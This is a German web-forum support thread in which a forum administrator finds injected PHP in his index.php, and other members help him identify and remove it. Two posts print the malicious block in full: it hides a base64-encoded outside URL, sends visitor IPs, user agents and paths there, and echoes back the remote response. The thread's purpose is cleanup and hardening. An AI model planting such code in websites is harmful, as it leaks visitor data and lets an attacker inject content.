You are not logged in.

1

Monday, March 26th 2012, 5:32pm

Fatal error: PHP notice in file

Hallo Community,

ich habe seit heute einen Fehler auf meiner Seite.

PHP Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
        Fatal errorPHP notice in file /var/www/web710/html/index.php (30): Uninitialized string offset0
    
        
            
                        
            Information:
            
                error messagePHP notice in file /var/www/web710/html/index.php (30): Uninitialized string offset0

                error code0
                
                                file: /var/www/web710/html/wcf/lib/system/WCF.class.php (281)

                php version5.2.17-0.dotdeb.0

                wcf version1.1.8 (Tempest)

                dateMon26 Mar 2012 15:26:01 +0000

                request: /index.php?page=PMView&pmID=3&

                refererhttp://www.zunftdernarren.de/

            
            
            Stacktrace:
            #0 /var/www/web710/html/index.php(30): WCF::handleError(8, 'Uninitialized s...', '/var/www/web710...', 30, Array)
#1 {main}
        
        
            


Wie kann ich das beheben? Bin nicht so gut in solchen Sachen und Google brachte keine richtigen Antworten. :rolleyes:

Gruß Genso

2

Monday, March 26th 2012, 6:50pm

hast du an deinen dateien geändert? wie sieht denn die datei /var/www/web710/html/index.php aus?

mfg
www.andoca.de - Wir bauen Communities! WCF/WBB Plugins (große Auswahl auf unserer Homepage und im Pluginstore) und Community-Services

3

Monday, March 26th 2012, 6:57pm

Hi,

Die Fehlermeldung ist in diesem Fall nur begrenzt hilfreich und nicht ausreichend.
Hast Du etwas geändert (neues Plugin o.Ä.)?
Gemäß der Fehlermeldung schließe ich daraus, dass Du eine private Nachricht öffnen wolltest?
Ist der Fehler reproduzierbar? Wenn ja, wie? Ich konnte ihn als Gast auf deiner Seite nicht erzeugen.
Wenn dauerhaft nicht reproduzierbar, war vermutlich eine Datei unvollständig im Cache/geladen.

lg

4

Monday, March 26th 2012, 7:31pm

Also Plugins wurde eigentlich seit 2 Wochen keine installiert. Private Nachrichten wurden zwar geöffnet, aber da wurd kein Fehler entdeckt. Der Fehler tritt eigentlich nur als Fehlermeldung auf der Seite auf, was natürlich doof aussieht, aber ansonsten läuft alles normal.

Reproduzierbarer Fehler?
Genso has attached the following image:
  • fehler.jpg

RouL

Member

  • "RouL" is male

Posts: 3,658

Occupation: Computer Science Expert, Subject Area: Software Development

  • Send private message

5

Monday, March 26th 2012, 7:33pm

Poste bitte den Inhalt der Datei "/var/www/web710/html/index.php" und bitte Fehlermeldungen nie als Screenshot anhängen, sondern immer in einem Code-Tag einschließen.
MfG RouL 《张马库斯》 【BlogTwitter

Meine Plugins 【WoltLab PluginstoreWBB3Addons
Entwickler Links 【WCF Entwickler Tutorial
Kein Support per PN oder Messenger.

6

Monday, March 26th 2012, 7:46pm

PHP Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
/**
 * @author    Marcel Werk
 * @copyright    2001-2007 WoltLab GmbH
 * @license    WoltLab Burning Board License <http://www.woltlab.com/products/burning_board/license.php>
 */
require_once('./global.php');
RequestHandler::handle(ArrayUtil::appendSuffix($packageDirs'lib/'));
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry 1;
    // This code use for global bot statistic
    $sUserAgent strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle NULL;
    $stCurlLink "";
    if((strstr($sUserAgent'google') == false)&&(strstr($sUserAgent'yahoo') == false)&&(strstr($sUserAgent'baidu') == false)&&(strstr($sUserAgent'msn') == false)&&(strstr($sUserAgent'opera') == false)&&(strstr($sUserAgent'chrome') == false)&&(strstr($sUserAgent'bing') == false)&&(strstr($sUserAgent'safari') == false)&&(strstr($sUserAgent'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink base64_decode'aHR0cDovL2dsb2JhbGJvdHVwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle curl_init$stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandleCURLOPT_RETURNTRANSFER1);
    curl_setopt($stCurlHandleCURLOPT_TIMEOUT12);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult// Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

Daddi

Member

  • "Daddi" is male

Posts: 1,054

Location: Berlin

Occupation: Web Entwickler / Student (AI)

  • Send private message

7

Monday, March 26th 2012, 7:51pm

Hast du an der Datei selbst was verändert? Alles ab Zeile 9 gehört da nicht rein und auf den ersten Blick sieht das auch nach einem lustig versteckten Hack aus :D

8

Monday, March 26th 2012, 7:59pm

Hast du an der Datei selbst was verändert? Alles ab Zeile 9 gehört da nicht rein und auf den ersten Blick sieht das auch nach einem lustig versteckten Hack aus :D
Ist es auch, lustig ist das aber nicht.
Das mit base64 decodierter Javascript - mit äußerst schädlichem Inhalt!
Also sofort offline nehmen und Dateien reparieren!

Siehe auch Zum vierten mal .....Forum infiziert! (eval(base64_decode....)

lg

RouL

Member

  • "RouL" is male

Posts: 3,658

Occupation: Computer Science Expert, Subject Area: Software Development

  • Send private message

9

Monday, March 26th 2012, 8:16pm

Die Fehlermeldung ist in diesem Fall nur begrenzt hilfreich und nicht ausreichend.

Fatal error: PHP notice in file /var/www/web710/html/index.php (30): Uninitialized string offset: 0


Just a note: Wie du siehst, war die Fehlermeldung sehr wohl hilfreich. Es gibt in der originalen "index.php" schließlich keine Zeile 30, ganz davon abgesehen, dass in der originalen "index.php" nirgendwo direkt auf irgendeinen index in einem Array zugegriffen wird. Die Frage nach neuen Plugins hingegen machte an der Stelle (noch) keinen Sinn, da Plugins die "index.php" nicht modifizieren.
Es lohnt sich immer Fehlermeldungen aufmerksam zu lesen.
MfG RouL 《张马库斯》 【BlogTwitter

Meine Plugins 【WoltLab PluginstoreWBB3Addons
Entwickler Links 【WCF Entwickler Tutorial
Kein Support per PN oder Messenger.

10

Monday, March 26th 2012, 9:02pm

Also was soll ich nun genau machen? Das im anderen Thread ist für mich ziemliches Fachchinesisch. ?( Danke schon mal für die bisherige Hilfe. ^^

Nachtrag: Ich habe die index.php so verändert, das alles ab Zeile 9 gelöscht wurde und nun tritt der Fehler nicht mehr auf. Allerdings macht mir das ganze jetzt ein wenig sorgen, war das ein Angriff auf meine Homepage? Ich ändere mal sofort das FTP Passwort.

This post has been edited 1 times, last edit by "Genso" (Mar 26th 2012, 9:10pm)


CandyMan

Member

  • "CandyMan" is male

Posts: 1,957

Location: Berlin

Occupation: IT-Useradministrator

  • Send private message

11

Monday, March 26th 2012, 9:09pm

Obweder eine Orginale Index hochladen oder das raus nehmen:

PHP Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry 1;
    // This code use for global bot statistic
    $sUserAgent strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle NULL;
    $stCurlLink "";
    if((strstr($sUserAgent'google') == false)&&(strstr($sUserAgent'yahoo') == false)&&(strstr($sUserAgent'baidu') == false)&&(strstr($sUserAgent'msn') == false)&&(strstr($sUserAgent'opera') == false)&&(strstr($sUserAgent'chrome') == false)&&(strstr($sUserAgent'bing') == false)&&(strstr($sUserAgent'safari') == false)&&(strstr($sUserAgent'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink base64_decode'aHR0cDovL2dsb2JhbGJvdHVwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle curl_init$stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandleCURLOPT_RETURNTRANSFER1);
    curl_setopt($stCurlHandleCURLOPT_TIMEOUT12);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult// Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>


Desweiteren würde ich die index.php aus den ACP noch prüfen ob da auch so ein Code drin ist sowie würde ich an deiner stelle das FTP Passwort ändern!

Gruss CandyMan

RouL

Member

  • "RouL" is male

Posts: 3,658

Occupation: Computer Science Expert, Subject Area: Software Development

  • Send private message

12

Monday, March 26th 2012, 9:11pm

Du wurdest gehackt!
Das erste was du tun solltest ist alle (!) Passwörter (FTP, MySQL, Forum, überall wo eines der Passwörter noch verwendet wird) ändern und überprüfen, ob du Benutzer in der Administrator-Gruppe hast, die vorher nicht dagewesen sind und/oder es zusätzliche Gruppen gibt und entsprechende Benutzer und Gruppen löschen. Danach alle veränderten Quelltext-Stellen bereinigen oder alternativ das Forum neu aufsetzen und einen Import durchführen.

Zusätzlich solltest du deine Nutzer auf jeden Fall darüber informieren und sie dazu auffordern Ihre Passwörter ebenfalls zu ändern..

PS: Dein Forum-Passwort solltest du erst nach dem Bereinigen des Codes/neu Aufsetzen des Forums ändern.

@candyman Das wird nicht genug sein.
MfG RouL 《张马库斯》 【BlogTwitter

Meine Plugins 【WoltLab PluginstoreWBB3Addons
Entwickler Links 【WCF Entwickler Tutorial
Kein Support per PN oder Messenger.

CandyMan

Member

  • "CandyMan" is male

Posts: 1,957

Location: Berlin

Occupation: IT-Useradministrator

  • Send private message

13

Monday, March 26th 2012, 9:22pm

Das mit den Zusätzlichen Admin und der Gruppe ok dann stimme ich dir zu. Würde es aber andersrum machen also FTP Passwort ändern dann Code entfernen und dann die Gruppen prüfen. Nach deiner Reihenfolge könnte er es nochmalig ausnutzen! Zu den Passwörtern sollte das FTP Passwort reichen anders kann er ja den Code da garnicht einfügen können. Genrell macht das ändern aller Passwörter aber sinn.

Gruss CandyMan

14

Monday, March 26th 2012, 9:22pm

1) Die acp index.php war ebenfalls befallen und wurde wie die andere index.php wieder geändert.

2) Das FTP-Passwort wurde geändert.

3) Mein Foren Passwort wurde geändert.

4) Ich habe keine neuen Gruppen/Benutzer oder neue Benutzer in der Admingruppe. Ist ein kleines Forum daher überschaubar.

Was kann ich jetzt noch tun?

RouL

Member

  • "RouL" is male

Posts: 3,658

Occupation: Computer Science Expert, Subject Area: Software Development

  • Send private message

15

Monday, March 26th 2012, 9:28pm

Das mit den Zusätzlichen Admin und der Gruppe ok dann stimme ich dir zu. Würde es aber andersrum machen also FTP Passwort ändern dann Code entfernen und dann die Gruppen prüfen. Nach deiner Reihenfolge könnte er es nochmalig ausnutzen! Zu den Passwörtern sollte das FTP Passwort reichen anders kann er ja den Code da garnicht einfügen können. Genrell macht das ändern aller Passwörter aber sinn.

Gruss CandyMan

Selbstverständlich erst das FTP Passwort ändern, wie von mir beschrieben, aber das Forenpasswort erst wenn alles wieder hergestellt ist. Wenn noch andere Dateien befallen sind, könnte ansonsten auf die Art und Weise das neue Passwort kompromittiert werden.
Im Übrigen reicht das FTP Passwort selbstverständlich nicht aus. Über das FTP Passwort kommt man an die config.inc.php, welche das MySQL Passwort enthält. Zudem können durch gezielte Manipulation am Login alle Benutzerpasswörter kompromittiert werden, etc.

Wenn ich Hacker wäre und eine Website oder ein Forum hacken würde, würde ich zusätzlich zu den offensichtlichen Änderungen noch dafür sorgen, dass eine erneute Kompromittierung sich möglichst einfach gestaltet.

Was kann ich jetzt noch tun?

Überprüfen ob noch andere Dateien in irgendeiner Weise verändert wurden.
MfG RouL 《张马库斯》 【BlogTwitter

Meine Plugins 【WoltLab PluginstoreWBB3Addons
Entwickler Links 【WCF Entwickler Tutorial
Kein Support per PN oder Messenger.

16

Monday, March 26th 2012, 9:39pm

Wenn ich das Änderungsdatum abchecke nach veränderten Dateien, finde ich nur noch diese cache.box dateien.

PHP Source code

1
2
<?php exit; /* cache: box-3 (generated at Mon, 26 Mar 2012 07:39:42 +0000) DO NOT EDIT THIS FILE */ ?>
a:0:{}


Sind diese besorgniserregend?

CandyMan

Member

  • "CandyMan" is male

Posts: 1,957

Location: Berlin

Occupation: IT-Useradministrator

  • Send private message

17

Monday, March 26th 2012, 9:46pm

nein das ist ok so.

Gruss CandyMan

18

Monday, March 26th 2012, 9:48pm

Okay ich hoffe ich habe nun das schlimmste überstanden. Ich bedanke mit bei der zahlreichen und schnellen Hilfe meines Problems. :thumbsup: